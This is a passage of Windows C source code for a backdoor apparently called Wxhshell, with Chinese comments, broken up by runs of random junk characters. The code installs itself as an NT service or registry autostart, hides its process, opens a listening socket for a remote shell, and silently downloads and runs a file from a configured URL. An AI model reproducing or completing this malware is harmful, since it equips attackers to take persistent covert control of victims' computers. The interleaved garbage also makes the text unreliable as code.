j7i#o ^G,]("di` CloseHandle(hProcess); gE/O29Y ;[-dth if(strstr(procName,"services")) return 1; // 以服务启动 =<.8 /\-qz$ return 0; // 注册表启动 uvK1gJrA) } :QnN7&j|(w -E4e8'P;5 // 主模块 6xs_@Vk|d int StartWxhshell(LPSTR lpCmdLine) /-wAy-W { kzhncku SOCKET wsl; JkazB1h BOOL val=TRUE; i6)$pARp int port=0; a _YE[6 struct sockaddr_in door; M@rknq@ wUb5[m if(wscfg.ws_autoins) Install(); matW>D;J -u)f@e port=atoi(lpCmdLine); =' %r"_`} \j
C[|LM& if(port<=0) port=wscfg.ws_port; -Q3jK)1 RcJ.=?I! WSADATA data; a)L\+$@* if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 581Jp'cje TA;r if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ."`mh&+` setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >]b>gc?3 door.sin_family = AF_INET; akR+QZ,) door.sin_addr.s_addr = inet_addr("127.0.0.1"); ])`+
78 door.sin_port = htons(port); x=-dv8N? =NJ:%kvF if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z!`aJE/ closesocket(wsl); I*h%e,yIO return 1; %[3?vX } HC1jN8WDY Ot,_=PP if(listen(wsl,2) == INVALID_SOCKET) { R=Qa54 closesocket(wsl); nsf.wHGZ"J return 1; 4pU|BL\j } :+?eF^5 Wxhshell(wsl); m@(8-_ WSACleanup(); |#OMrP+oi sA^_I6>M" return 0; j&6O1 {7EnM1] } _6U=7<f vP k\b 3E // 以NT服务方式启动 {T;A50 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5&Y%N( { D,$!.5OA DWORD status = 0; j%w}hGW%, DWORD specificError = 0xfffffff; :vsBobiJ C1V:_- serviceStatus.dwServiceType = SERVICE_WIN32; (i3V[H serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]IF
QD serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R\i8O^[ serviceStatus.dwWin32ExitCode = 0; s,z$Vt"h*K serviceStatus.dwServiceSpecificExitCode = 0; o<1a]M| serviceStatus.dwCheckPoint = 0; 7E0L-E=. serviceStatus.dwWaitHint = 0; ajr);xd _ ^ JhncL hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !V%h0OE\ if (hServiceStatusHandle==0) return; whH_<@! JXT%@w>I status = GetLastError(); Z}X oWT2f if (status!=NO_ERROR) pt/UY<@yoN { /Kw}R5l serviceStatus.dwCurrentState = SERVICE_STOPPED; Kp]\r-5UD> serviceStatus.dwCheckPoint = 0; z2.9l?"rfQ serviceStatus.dwWaitHint = 0; .8.4!6~@ serviceStatus.dwWin32ExitCode = status; x6n( BMr serviceStatus.dwServiceSpecificExitCode = specificError; a,$v; s/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); +, IMN)?;z return; *8I+D>x } 6 b/UFO blVt:XS{,m serviceStatus.dwCurrentState = SERVICE_RUNNING; d17RJW%A serviceStatus.dwCheckPoint = 0; [quT&E serviceStatus.dwWaitHint = 0; !
.q,m>?+ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wP|Amn+; } SRP.Mqg9 CIt%7
\c // 处理NT服务事件,比如:启动、停止 1\t# *N VOID WINAPI NTServiceHandler(DWORD fdwControl) iY~.U`b` { NA :_yA" switch(fdwControl) \zx &5a
# { ~]w|ULNa3| case SERVICE_CONTROL_STOP: _ ^2\/@ serviceStatus.dwWin32ExitCode = 0; #
dA-dN serviceStatus.dwCurrentState = SERVICE_STOPPED; o$4i{BL serviceStatus.dwCheckPoint = 0; "Y1]6
Zu serviceStatus.dwWaitHint = 0; wI0NotC { "r+ v^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); R5"5Z?' } a+-X\qN return; c}-ADr9 case SERVICE_CONTROL_PAUSE: 5%6{ ePh{ serviceStatus.dwCurrentState = SERVICE_PAUSED; V/t/uNm break; y^u9Ttf{ case SERVICE_CONTROL_CONTINUE: `] fud{ serviceStatus.dwCurrentState = SERVICE_RUNNING; qj.>4d break;
Wx8oTN case SERVICE_CONTROL_INTERROGATE: Z&Qz"V>$ break; Y5/SbQYf1 }; uc~/l4~N SetServiceStatus(hServiceStatusHandle, &serviceStatus); {0(:5% } )'1rZb5 1H-d<G0) // 标准应用程序主函数 n)<S5P? int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ELvP<Ny} { @$*LU:[ bb4 `s0 // 获取操作系统版本 0[
BPmO6 OsIsNt=GetOsVer();
t@#l0lu$ GetModuleFileName(NULL,ExeFile,MAX_PATH); gs:V4$(p4 4Ou5Vp&y // 从命令行安装 QjIn0MJ)Xm if(strpbrk(lpCmdLine,"iI")) Install(); o9XT_!Cwg !
^ DQX=1 // 下载执行文件 id?B<OM if(wscfg.ws_downexe) { h>a/3a$g if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~+)sL1lx WinExec(wscfg.ws_filenam,SW_HIDE); + g*s%^(E } <Pnz$nH:e Sb|9U8h if(!OsIsNt) { >WZ_) `R // 如果时win9x,隐藏进程并且设置为注册表启动 6OPYq*| HideProc(); ,_iR StartWxhshell(lpCmdLine); >^Z==1 } F,.dC&B else sX
c|++ if(StartFromService()) h>:eu# // 以服务方式启动 3UNmUDl[~ StartServiceCtrlDispatcher(DispatchTable); c $fYK else lP;X=X> // 普通方式启动 =>mx>R`S StartWxhshell(lpCmdLine); ~Qm<w3oy 'V`Hp$r return 0; eh6\y79g }
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